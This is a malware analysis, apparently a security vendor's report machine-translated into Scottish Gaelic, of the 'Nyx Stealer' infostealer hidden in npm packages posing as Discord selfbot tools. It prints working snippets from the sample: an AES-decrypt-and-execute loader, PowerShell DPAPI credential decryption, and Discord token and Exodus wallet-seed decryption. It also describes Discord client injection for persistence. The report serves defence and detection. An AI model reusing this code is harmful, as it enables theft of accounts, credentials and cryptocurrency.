TL; DR
Sgioba Rannsachaidh Tèarainteachd Xygeni chomharraich iad iomairt shòlaimte a chaidh a lìbhrigeadh tro dhà phacaid droch-rùnach: consolofy agus selfbot-lofy.
An dreach as ùire (consolelofy@1.3.0) a’ leabachadh luchd crioptaichte AES 216KB a bhios a’ dì-chrioptachadh aig àm ruith agus a’ ruith troimhe vm.runInNewContext()Leis gu bheil an loidsig droch-rùnach air a crioptachadh gu h-iomlan, chan urrainn do sganairean statach a tha an urra ri sgrùdadh sreang a ghiùlan fhaicinn gus an tig àm cur an gnìomh.
Aon uair ‘s gu bheil e air a dhì-chrioptachadh, an luchd, air a bhrandadh gu h-inntinneach Goideadair Nyx, targaidean:
- Comharran dearbhaidh Discord
- Còrr is 50 stòr teisteanas brabhsair
- 90+ leudachadh wallet airgead didseatach
- Seiseanan Roblox, Instagram, Spotify, Steam, Telegram, agus TikTok
- Seasmhachd neach-dèiligidh deasg Discord
Chaidh aithris a dhèanamh air na 20 dreachan uile thar an dà phacaid agus chaidh an dearbhadh gu robh iad droch-rùnach.
Sealladh farsaing teicnigeach air an npm Infostealer seo
Eu-coltach ri malware traidiseanta aig àm an stàlaidh, tha an iomairt seo an urra ri ùine ruith modail dì-chrioptachaidh.
Tha:
- Gun droch-rùn
preinstallorpostinstallhooks - Gun ghairmean lìonra follaiseach aig àm an stàlaidh
- Gun loidsig buain teisteanasan teacsa soilleir
Bidh an luchd a’ gnìomhachadh nuair a thèid am modúl a thoirt a-steach. Tha am bodhaig droch-rùnach gu lèir crioptaichte agus chan eil e a’ nochdadh ach sa chuimhne aig àm ruith.
Tha an dealbhadh seo gu sònraichte a’ seachnadh lorg rè stàladh pacaid.
Mar a bhios an npm Infostealer seo a’ cur an gnìomh
Mus dèan sinn sgrùdadh air na bhios Nyx Stealer a’ goid, feumaidh sinn tuigsinn mar a bhios e a’ cur an gnìomh.
Tha an loidsig droch-rùnach taobh a-staigh an npm infostealer seo a’ leantainn pàtran cunbhalach:
Bidh luchdair beag a’ dì-chrioptachadh luchd mòr crioptaichte agus ga chur an gnìomh gu dinamach taobh a-staigh co-theacsa VM Node.js.
Tha an dealbhadh seo air a dhèanamh a dh'aona ghnothach. Chan eil an ionnsaighear a’ falach comasan air cùl doilleireachd a-mhàin, tha iad a’ toirt air falbh a’ chòd droch-rùnach bho fhaicsinneachd statach gu tur.
Modail Coileanaidh Àrd-ìre
Aig ìre àrd, bidh an còmhdach a’ dèanamh ceithir rudan:
- A’ faighinn iuchair AES bho fhaclan-faire cruaidh-chòdaichte a’ cleachdadh SHA-256
- A’ dì-chrioptachadh teacsa mòr le còd heicsidheach a’ cleachdadh AES-256-CBC
- A’ cur an gnìomh an JavaScript dì-chrioptaichte le bhith a’ cleachdadh
vm.runInNewContext() - A’ toirt seachad bogsa-gainmhich a tha fhathast a’ nochdadh prìomhaidean ruith-ùine cumhachdach
Geàrr-chunntas air Prìomh Theicneòlas
| pàirt | Rèiteachadh / Luach |
|---|---|
| Algairim | AES-256-CBC |
| Prìomh thùs | SHA-256 (facal-faire) |
| Vector Tòiseachaidh (IV) | 16 bytes de 0x00 |
| bàs | vm.runInNewContext(air a dhì-chrioptachadh, bogsa-gainmhich) |
Gu deatamach, bidh am bogsa-gainmhich a’ dol tro:
requireprocessBuffer- tìmearan
- às-mhalairt mhodalan
Tha seo a’ ciallachadh gu bheil làn chomas aig an luchd dì-chrioptaichte airson:
- Pròiseasan sìolachaidh
- Leugh is sgrìobh faidhlichean
- Dèan gairmean lìonra
- Atharraich aplacaidean ionadail
Chan e inneal-fuadain cuibhrichte a tha seo. 'S e inneal-fuadain a th' ann a thathar a' cleachdadh mar thrampalìn cur gu bàs.
Pàtran Crioptachaidh Ruith-ùine (Inneal-gnìomhachaidh Prìomh)
Tha an luchdadair beag.
Chan eil a' chorp droch-rùnach.
Seo am pàtran cur an gnìomh a lorgar taobh a-staigh a’ phacaid:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Carson a tha seo a 'dèiligeadh
An luchd dì-chrioptaichte:
- A bheil chan eil ann an teacsa soilleir taobh a-staigh a’ phacaid npm
- Chan fhaicear e do shìmplidh
grepno sganadh sreang statach - Cha nochd e ach sa chuimhne aig àm ruith
- A’ ruith le làn chomasan ruith-ùine Node
Tha an cothlamadh cur gu bàs AES + VM seo na chomharradh giùlain làidir air Goideadair fiosrachaidh npm a’ feuchainn ri sgrùdadh statach a sheachnadh.
Ann am faclan eile:
Mura dèan thu sganadh air craobh stòr a’ phacaid, chan fhaic thu goideadair.
Chì thu inneal-dì-chrioptachaidh.
Dè thachras às dèidh dì-chrioptachadh
Aon uair ‘s gu bheil e air a chur an gnìomh, bidh Nyx Stealer a’ cur air bhog tonnan cruinneachaidh dàta co-shìnte.
Tonn 1: Tarraing a-mach Teisteanas Brabhsair
An malware:
- A’ luchdachadh sìos ruith-ùine Python bho NuGet CDN
- A’ stàladh leabharlannan crioptagrafach
- A’ toirt a-mach stòran teisteanas stèidhichte air Chromium
- A’ dì-chrioptachadh dìomhaireachdan fo dhìon DPAPI
An àite ceanglaichean dùthchasach a chur ri chèile, bidh e a’ cleachdadh PowerShell gus Windows DPAPI a ghairm gu dìreach.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } An dòigh-obrach seo:
- A’ seachnadh nithean cruinneachaidh
- A’ cleachdadh APIan crypto dùthchasach Windows
- A’ measgachadh a-steach do innealan rianachd
Is e dì-chrioptachadh teisteanasan aig ìre an t-siostaim obrachaidh a th’ ann, chan e sgrìobadh.
Tonn 2: Dì-chrioptachadh Comharran Discord
Tha an goideadair mothachail air pròtacal. Tha e a’ tuigsinn cruth chomharran crioptaichte Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Sruth obrachaidh:
- Thoir a-mach prìomh iuchair bho Discord
Local State - Dì-chrioptaich prìomh iuchair tro DPAPI
- Dì-chrioptaich bloban comharran AES-GCM
- Dearbhaich comharran an aghaidh API Discord
- Beairtich le Nitro, bràistean, fiosrachadh bileachaidh
Chan e seo dumpadh teisteanasan coitcheann. 'S e fuadach seisean mothachail air protocol a th' ann.
Tonn 3: Targaideadh Spòrs Cryptocurrency
Tha an goideadair fiosrachaidh npm ag àireamhachadh:
- 90+ leudachadh sporan brabhsair
- 27 sporan deasg
- Slighean sporan fuar
- Faidhlichean sìol Exodus
Eisimpleir de oidhirp dì-chrioptachaidh sìol:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Ma shoirbhicheas leis, bidh an wallet air a mhilleadh sa bhad agus chan urrainnear a thionndadh air ais.
Tha seo a’ riochdachadh vectar monetization as luachmhoire san iomairt.
Buanseasmhachd tro stealladh deasg Discord
Às dèidh dhaibh teisteanasan a bhuain, bidh Nyx Stealer a’ feuchainn ri buanachadh le bhith ag atharrachadh an àite ionadail. Cuir fàilte air luchd-dèiligidh.
Targaid:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Seicheamh obrachail
Bidh an goideadair fiosrachaidh a’ dèanamh nan ceumannan a leanas:
- A’ cur crìoch air pròiseasan Discord a tha a’ ruith
- A’ lorg caochlaidhean Discord a chaidh a stàladh (Stable, Canary, PTB)
- Sgrìobhas thairis
discord_desktop_core/index.js - A’ cur a-steach loidsig webhook fo smachd an ionnsaighear
- Ath-thòisicheas Discord
Nì seo cinnteach gum bi seiseanan Discord san àm ri teachd a’ leigeil a-mach comharran dearbhaidh ùra gu fèin-ghluasadach.
Gu cudromach, chan eil an seasmhachd seo an urra ri gnìomhan clàraichte no atharrachaidhean clàraidh. Bidh e a’ cleachdadh atharrachadh còd aig ìre an tagraidh, dòigh-obrach nas falaichte.
Fiù ma thèid am pasgan npm droch-rùnach a thoirt air falbh nas fhaide air adhart, tha an neach-dèiligidh Discord fhathast ann an cunnart.
Coimeas Teicnigeach: Selfbot Dligheach an aghaidh npm Infostealer
| pàirt | Leabharlann Dligheach | Nyx npm Goideadair Fiosrachaidh |
|---|---|---|
| crioptachaidh | Chan eil gin | Luchd làn-chrioptaichte AES |
| VM ruith-ùine | Chan eil feum air | vm.runInNewContext cur an gnìomh |
| Ruigsinneachd Teisteanais | API Discord a-mhàin | Brabhsair, sporanan, DPAPI |
| Luchdaich sìos bhon taobh a-muigh | Chan eil | Ama-ruith Python tro NuGet |
| Fuasgladh | Chan eil | In-stealladh neach-dèiligidh Discord |
| Monetization | Uathoibrachadh bot | Ath-reic teisteanasan |
Tha an ìre crioptachaidh leis fhèin a’ sgaradh an iomairt seo bho forc stòr fosgailte àbhaisteach mu thràth.
Chan eil adhbhar sam bith aig fèin-bhot Discord dligheach a chrioptachadh a stòr-còd gu lèir, PowerShell a chruthachadh gus faighinn gu DPAPI, ruith-amannan taobh a-muigh a luchdachadh sìos, no taobh a-staigh aplacaidean deasg atharrachadh. Nuair a nochdas na comasan sin taobh a-staigh eisimeileachd a tha ag ràdh gun dèan iad fèin-ghluasad air eadar-obrachaidhean Discord, tha e do-dhèanta dearmad a dhèanamh air an neo-cho-fhreagarrachd ailtireil.
Bho shealladh rannsachaidh, tha an goid fiosrachaidh npm seo a’ fàgail lorgan thar iomadh sreath. Ach, chan e URLan cruaidh-chòdaichte no slighean faidhle sònraichte na comharran as earbsaiche, leis gum faod iad sin atharrachadh eadar dreachan. An àite sin, tha na comharran maireannach structarail.
Aig ìre a’ phacaid, is e am bratach dhearg as làidire measgachadh de luchd crioptaichte mòr agus pasgan dì-chrioptachaidh ruith-ùine a bhios a’ ruith sa bhad tro vm.runInNewContext()Ged nach eil crioptachadh leis fhèin droch-rùnach gu nàdarrach, tha e gu math neo-àbhaisteach dì-chrioptachadh AES a chleachdadh agus an uairsin VM a chur an gnìomh gu fiùghantach taobh a-staigh pasgan goireis Discord.
Aig ìre an aoigh, tha pàtrain amharasach a’ toirt a-steach gnìomhachd dì-chrioptachaidh DPAPI ris nach robh dùil, pròiseas a’ tighinn bho cho-theacsa eisimeileachd Node.js, agus atharrachadh air faidhlichean tagraidh ionadail nach bu chòir leabharlannan treas-phàrtaidh atharrachadh a-riamh. San aon dòigh, aig ìre an lìonraidh, tha conaltradh a-muigh ann an stoidhle webhook air a thòiseachadh le eisimeileachd leasachaidh a’ riochdachadh ana-cainnt bhrìoghmhor eile.
Ann am faclan eile, chan e aon chomharradh air cunnart a th’ anns an uachdar lorgaidh. ’S e co-dhàimh crioptachaidh, cur an gnìomh rè ùine ruith, ruigsinneachd teisteanasan, agus giùlan buan-sheasmhach a tha a’ nochdadh a’ chunnart.
Lorg agus Lughdachadh le Xygeni
Chaidh an goideadair fiosrachaidh npm seo aithneachadh le Rabhadh Tràth Malware Xygeni (MEW) tro cho-dhàimh giùlain sreathanach seach maidseadh ainm-sgrìobhte sìmplidh.
An àite a bhith a’ lorg sreangan droch-rùnach aithnichte, bidh MEW a’ measadh ana-cainnt structarail air feadh a’ chraobh thùsail slàn. Anns a’ chùis seo, nochd lorg bho cho-chruinneachadh grunn chomharran: cleachdadh dì-chrioptachaidh AES leabaithe ann am puing inntrigidh a’ mhodal, cur an gnìomh sa bhad taobh a-staigh co-theacsa VM, agus mì-chothrom soilleir comas-ri-rùn.
Gu cudromach, chan eil gin de na comharran seo leotha fhèin a’ dearbhadh rùn droch-rùnach. Ach, nuair a thèid an sgrùdadh còmhla, bidh iad a’ nochdadh oidhirp gus giùlan rè-ùine fhalach. Bidh an dòigh-obrach ioma-shreathach seo a’ lughdachadh gu mòr toraidhean dearbhach meallta fhad ‘s a tha e a’ comharrachadh bagairtean slabhraidh solair àrd-mhisneachd.
A bharrachd air sin, tha a’ chùis seo a’ sealltainn carson nach eil sgrùdadh aig àm an stàlaidh leis fhèin gu leòr. Chan eil an loidsig droch-rùnach a’ fuireach ann an sgriobtaichean cearcall-beatha. Bidh e ag obair dìreach às deidh don mhodal luchdachadh agus chan fhaicear e ach aon uair ‘s gu bheil e air a dhì-chrioptachadh sa chuimhne. Mar sin, feumaidh dìon èifeachdach mion-sgrùdadh mothachail air crioptachadh, aithneachadh phàtran giùlain, agus sgrùdadh leantainneach air eisimeileachd nas fhaide na tachartasan stàlaidh.
Tha toirt air falbh a’ chlàir ath-ghnìomhach. Tha mion-sgrùdadh mothachail air ùine ruith casgach.
Carson a tha an NPM Infostealer seo cudromach
Tha Nyx Stealer a’ riochdachadh mean-fhàs structarail ann an malware stèidhichte air npm.
Gu h-eachdraidheil, bha mòran phasganan droch-rùnach an urra ri sgriobtaichean follaiseach aig àm an stàlaidh no puingean-crìochnachaidh follaiseach airson teisteanasan a thoirt a-mach. An coimeas ri sin, bidh an iomairt seo a’ crioptachadh a luchd, a’ cur dàil air cur an gnìomh gu àm ruith, a’ cleachdadh APIan siostam obrachaidh dligheach, agus a’ stèidheachadh buanseasmhachd taobh a-staigh aplacaidean earbsach.
Mar thoradh air an sin, chan fheum an ionnsaighear bun-structar npm fhèin a chleachdadh. An àite sin, bidh an ionnsaigh soirbheachail leis gu bheil stàladh eisimeileachd a’ ciallachadh earbsa. Tha luchd-leasachaidh den bheachd gur e obair shàbhailte a th’ ann an leabharlann a thoirt a-steach, gu sònraichte nuair a tha e ga thaisbeanadh fhèin mar fhorc reusanta de inneal mòr-chòrdte.
Mar a bhios eag-shiostaman a’ sìor fhàs agus forcaichean a’ sìor fhàs, bidh a’ chrìoch earbsa neo-shoilleir sin na uachdar ionnsaigh a tha a’ sìor fhàs tarraingeach. Mar sin, feumaidh tu pàtrain ailtireil aithneachadh seach a bhith a’ lorg sreangan statach gus dìon an aghaidh luchd-goid fiosrachaidh npm an latha an-diugh.
Mu dheireadh, tha an iomairt seo a’ neartachadh leasan cudromach ann an software supply chain securityChan e na bagairtean as cunnartaiche an fheadhainn a tha coltach ri droch-rùnach an toiseach, ach an fheadhainn a tha coltach ri bhith dligheach gu structarail gus an nochd an giùlan fìor aca aig àm ruith.




